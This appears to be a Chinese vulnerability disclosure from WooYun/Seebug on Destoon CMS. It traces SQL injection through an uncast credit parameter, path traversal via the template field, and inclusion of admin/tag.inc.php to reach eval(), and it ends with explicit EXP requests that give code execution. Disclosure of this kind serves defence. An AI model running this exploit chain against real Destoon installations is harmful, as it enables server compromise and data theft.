### 简要描述: 如题。。 ### 详细说明: \module\know\answer.inc.php 143 - 161行 ``` case 'raise': //这个功能是 "知道功能" 悬赏的次数更新,因为默认只允许2次提高悬赏的次数 if($credit < 1) dalert($L['select_credit'], 'goback'); //这里credit 不能小于 1 //由于php是弱语言,所以 1xxx 这样被转换过去就变成了 1 条件也就成立了 if($credit > $_credit) dalert($L['lack_credit'], 'goback'); $could_raise = $could_admin;//是否是 "知道"发布的作者. if($item['process'] != 1) $could_raise = false; if($item['raise'] >= $MOD['maxraise']) $could_raise = false; //$MOD['maxraise']就是最大能 “提高悬赏” 次数。 if($could_raise) { //条件通过进入这个流程 if($credit >= $MOD['raisecredit']) { $addtime = $DT_TIME; $totime = $DT_TIME + $MOD['overdays']*86400 + $MOD['raisedays']*86400; } else { $addtime = $item['addtime']; $totime = $item['totime'] + $MOD['raisedays']*86400; } $db->query("UPDATE {$table} SET credit=credit+$credit,raise=raise+1,addtime=$addtime,totime=$totime WHERE itemid=$itemid"); //看直接带入了 credit+$credit ,由于他$credit 并没有 int掉,所以导致能注入... ``` 但是有点就是防注入绕不过去了...慢蛋疼的 safe.func.php中的 ``` "/select([\s\S]*?)from/i" ```...
### 简要描述: 如题。。 ### 详细说明: \module\know\answer.inc.php 143 - 161行 ``` case 'raise': //这个功能是 "知道功能" 悬赏的次数更新,因为默认只允许2次提高悬赏的次数 if($credit < 1) dalert($L['select_credit'], 'goback'); //这里credit 不能小于 1 //由于php是弱语言,所以 1xxx 这样被转换过去就变成了 1 条件也就成立了 if($credit > $_credit) dalert($L['lack_credit'], 'goback'); $could_raise = $could_admin;//是否是 "知道"发布的作者. if($item['process'] != 1) $could_raise = false; if($item['raise'] >= $MOD['maxraise']) $could_raise = false; //$MOD['maxraise']就是最大能 “提高悬赏” 次数。 if($could_raise) { //条件通过进入这个流程 if($credit >= $MOD['raisecredit']) { $addtime = $DT_TIME; $totime = $DT_TIME + $MOD['overdays']*86400 + $MOD['raisedays']*86400; } else { $addtime = $item['addtime']; $totime = $item['totime'] + $MOD['raisedays']*86400; } $db->query("UPDATE {$table} SET credit=credit+$credit,raise=raise+1,addtime=$addtime,totime=$totime WHERE itemid=$itemid"); //看直接带入了 credit+$credit ,由于他$credit 并没有 int掉,所以导致能注入... ``` 但是有点就是防注入绕不过去了...慢蛋疼的 safe.func.php中的 ``` "/select([\s\S]*?)from/i" ``` 这个绕不过.不能子查询的话 也有没有多大的危害。于是我又找找,找到一个能提高危害等级的一段代码。 在 /module/know/show.inc.php中 (这个文件就是展示信息用的) 首先看第6行 ``` $item = $db->get_one("SELECT * FROM {$table} WHERE itemid=$itemid"); item是等于我们 “提问知道” 的数据。由于我们掌握了一个 update的注入点,想更新什么都行咯。 ``` 再看最后2行 ``` if($item['template']) $template = $item['template'];// 这个我们可以更新来达到包含的目的 include template($template, $module);//这个函数并不陌生..上次提交了个命令执行也是这个步骤 ``` ``` function template($template = 'index', $dir = '') { global $CFG; $to = $dir ? DT_CACHE.'/tpl/'.$dir.'-'.$template.'.php' : DT_CACHE.'/tpl/'.$template.'.php'; $isfileto = is_file($to); if($CFG['template_refresh'] || !$isfileto) { if($dir) $dir = $dir.'/'; $from = DT_ROOT.'/template/'.$CFG['template'].'/'.$dir.$template.'.htm'; if($CFG['template'] != 'default' && !is_file($from)) { $from = DT_ROOT.'/template/default/'.$dir.$template.'.htm'; } if(!$isfileto || filemtime($from) > filemtime($to) || (filesize($to) == 0 && filesize($from) > 0)) { require_once DT_ROOT.'/include/template.func.php'; template_compile($from, $to); } } return $to; } ``` 如果是在win下就直接可以返回路径了, ``` if(!$isfileto || filemtime($from) > filemtime($to) || (filesize($to) == 0 && filesize($from) > 0)) { ``` 这几个条件都不会成立.会 return $to; 但是在 linux下 ,是不能跳出不存在的目录的。 但是destoon很好的给我们创建了目录。 Linux: ``` template_compile($from, $to);创建缓存文件。 function template_compile($from, $to) { $content = template_parse(file_get($from)); file_put($to, $content);//关键是这个 file_put会帮我们创建目录, } function template_parse($str) { global $CFG; $str = preg_replace("/\<\!\-\-\[(.+?)\]\-\-\>/", "", $str); $str = preg_replace("/\<\!\-\-\{(.+?)\}\-\-\>/s", "{\\1}", $str); $str = preg_replace("/\{template\s+([^\}]+)\}/", "<?php include template(\\1);?>", $str); $str = preg_replace("/\{php\s+(.+)\}/", "<?php \\1?>", $str); $str = preg_replace("/\{if\s+(.+?)\}/", "<?php if(\\1) { ?>", $str); $str = preg_replace("/\{else\}/", "<?php } else { ?>", $str); $str = preg_replace("/\{elseif\s+(.+?)\}/", "<?php } else if(\\1) { ?>", $str); $str = preg_replace("/\{\/if\}/", "<?php } ?>\r\n", $str); $str = preg_replace("/\{loop\s+(\S+)\s+(\S+)\}/", "<?php if(is_array(\\1)) { foreach(\\1 as \\2) { ?>", $str); $str = preg_replace("/\{loop\s+(\S+)\s+(\S+)\s+(\S+)\}/", "<?php if(is_array(\\1)) { foreach(\\1 as \\2 => \\3) { ?>", $str); $str = preg_replace("/\{\/loop\}/", "<?php } } ?>", $str); $str = preg_replace("/\{([a-zA-Z_\x7f-\xff][a-zA-Z0-9_\x7f-\xff]*\(([^{}]*)\))\}/", "<?php echo \\1;?>", $str); $str = preg_replace("/<\?php([^\?]+)\?>/es", "template_addquote('<?php\\1?>')", $str); $str = preg_replace("/\{(\\$[a-zA-Z_\x7f-\xff][a-zA-Z0-9_\+\-\x7f-\xff]*)\}/", "<?php echo \\1;?>", $str); $str = preg_replace("/\{(\\$[a-zA-Z0-9_\[\]\'\"\$\x7f-\xff]+)\}/es", "template_addquote('<?php echo \\1;?>')", $str); $str = preg_replace("/\{([A-Z_\x7f-\xff][A-Z0-9_\x7f-\xff]*)\}/s", "<?php echo \\1;?>", $str); $str = preg_replace("/\'([A-Za-z]+)\[\'([A-Za-z\.]+)\'\](.?)\'/s", "'\\1[\\2]\\3'", $str); $str = preg_replace("/(\r?\n)\\1+/", "\\1", $str); $str = str_replace("\t", '', $str); $str = "<?php defined('IN_DESTOON') or exit('Access Denied');?>".$str; if($CFG['template_trim']) return strip_nr($str); return $str; } ``` ``` function file_put($filename, $data) { dir_create(dirname($filename)); if(@$fp = fopen($filename, 'wb')) { flock($fp, LOCK_EX); $len = fwrite($fp, $data); flock($fp, LOCK_UN); fclose($fp); if(DT_CHMOD) @chmod($filename, DT_CHMOD); return $len; } else { return false; } } ``` ``` function dir_create($path) { if(is_dir($path)) return true; if(DT_CACHE != DT_ROOT.'/file/cache' && strpos($path, DT_CACHE) !== false) { $dir = str_replace(DT_CACHE.'/', '', $path); $dir = dir_path($dir); $temp = explode('/', $dir); $cur_dir = DT_CACHE.'/'; $max = count($temp) - 1; for($i = 0; $i < $max; $i++) { $cur_dir .= $temp[$i].'/'; if(is_dir($cur_dir)) continue; @mkdir($cur_dir); if(DT_CHMOD) @chmod($cur_dir, DT_CHMOD); if(!is_file($cur_dir.'/index.html') && !is_file($cur_dir.'/index.php')) file_copy(DT_ROOT.'/file/index.html', $cur_dir.'/index.html'); } } else { $idx = strpos($path, '/file/') !== false ? true : false; $dir = str_replace(DT_ROOT.'/', '', $path); $dir = dir_path($dir); $temp = explode('/', $dir); $cur_dir = DT_ROOT.'/'; $max = count($temp) - 1; for($i = 0; $i < $max; $i++) { $cur_dir .= $temp[$i].'/'; if(is_dir($cur_dir)) continue; @mkdir($cur_dir); if(DT_CHMOD) @chmod($cur_dir, DT_CHMOD); if($idx && !is_file($cur_dir.'/index.html') && !is_file($cur_dir.'/index.php')) file_copy(DT_ROOT.'/file/index.html', $cur_dir.'/index.html'); } } return is_dir($path); } ``` 最终linbux会创建know-这个目录因为,这个$dir是know function template($template = 'index', $dir = '') 所以不用担心在linux用/../../../跳不出去。 [<img src="https://images.seebug.org/upload/201410/042002163cff0ee5f9d5be1f7bd031cf8d237d1e.png" alt="dir_linux.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201410/042002163cff0ee5f9d5be1f7bd031cf8d237d1e.png) 上次我在360提交的东就是 tag.inc.php这里执行的代码。 我们来看看,(因为这里是admin的文件,但是普通的就能包含进去始终是个很大的风险)。 在 admin/tag.inc.php。 ``` defined('IN_DESTOON') or exit('Access Denied');//common.inc.php 就定义了这个常量。 ``` 93-99 ``` $tag_code .= ';'; $tag_safe = substr($tag_code, 5, -7); foreach(array('(', '`', ',', ';') as $v) { if(strpos($tag_safe, $v) !== false) msg('标签内容包含不安全写法,禁止在线预览'); } ob_start(); eval($tag_code); ``` 这里似乎也没有什么限制了。 白做的安全措施 最后执行还是的$tag_code。只要$tag_code不超过特定的长度就可以了。 template需要等于:/../../../../admin/tag.inc 现在想起来 ``` function strip_sql($string) { $match = array("/union/i","/where/i","/outfile/i","/dumpfile/i","/0x([a-z0-9]{2,})/i","/select([\s\S]*?)from/i","/select([\s\*\/\-\(\+@])/i","/update([\s\*\/\-\(\+@])/i","/replace([\s\*\/\-\(\+@])/i","/delete([\s\*\/\-\(\+@])/i","/drop([\s\*\/\-\(\+@])/i","/load_file[\s]*\(/i","/substring[\s]*\(/i","/substr[\s]*\(/i","/left[\s]*\(/i","/concat[\s]*\(/i","/concat_ws[\s]*\(/i","/make_set[\s]*\(/i","/ascii[\s]*\(/i","/hex[\s]*\(/i","/ord[\s]*\(/i","/char[\s]*\(/i"); $replace = array('union','where','outfile','dumpfile','0x\\1','select\\1from','select\\1','update\\1','replace\\1','delete\\1','drop\\1','load_file(','substring(','substr(','left(','concat(','concat_ws(','make_set(','ascii(','hex(','ord(','char('); return is_array($string) ? array_map('strip_sql', $string) : preg_replace($match, $replace, $string); } ``` 似乎没有什么编码让我更新上去。。0x让实体化了,CHAR也是 那就只能先把 路径写到另外的字段了。 template就=写入的字段了 (ps:这个发布知道提问,需要管理员审核) ### 漏洞证明: [<img src="https://images.seebug.org/upload/201410/04200105a8351b4761da4546f5201516f5fa6583.jpg" alt="post1.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201410/04200105a8351b4761da4546f5201516f5fa6583.jpg) [<img src="https://images.seebug.org/upload/201410/042001322e105737f9bb01b8b56af70580066144.png" alt="post_2.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201410/042001322e105737f9bb01b8b56af70580066144.png) [<img src="https://images.seebug.org/upload/201410/042001403ba920deaedc2d2b00748d28959ef07f.png" alt="post_3.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201410/042001403ba920deaedc2d2b00748d28959ef07f.png) [<img src="https://images.seebug.org/upload/201410/0420050971719897bcff7c5d83dcbd769a5d0242.png" alt="post4.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201410/0420050971719897bcff7c5d83dcbd769a5d0242.png) [<img src="https://images.seebug.org/upload/201410/0420051611882781b0077773891503bede0f2bd1.png" alt="post5.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201410/0420051611882781b0077773891503bede0f2bd1.png) 执行完,会自动转跳如果页面是空白就成功了。 [<img src="https://images.seebug.org/upload/201410/0420063306ec9c25f0bee0a211be700be0999b3d.png" alt="post7.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201410/0420063306ec9c25f0bee0a211be700be0999b3d.png) EXP: 1. http://127.0.0.1/destoon/member/answer.php?itemid=6&action=raise credit=1,template=introduce 2. http://127.0.0.1/destoon/know/show.php?itemid=6 action=preview&tag_code=EVAL($_POST[a]);&a=phpinfo();exit; (post[introduce] => /../../../../admin/tag.inc) 另外还有个利用方式,参见 [WooYun: Destoon前台getshell(CSRF任意代码执行)](http://www.wooyun.org/bugs/wooyun-2014-067679) 这个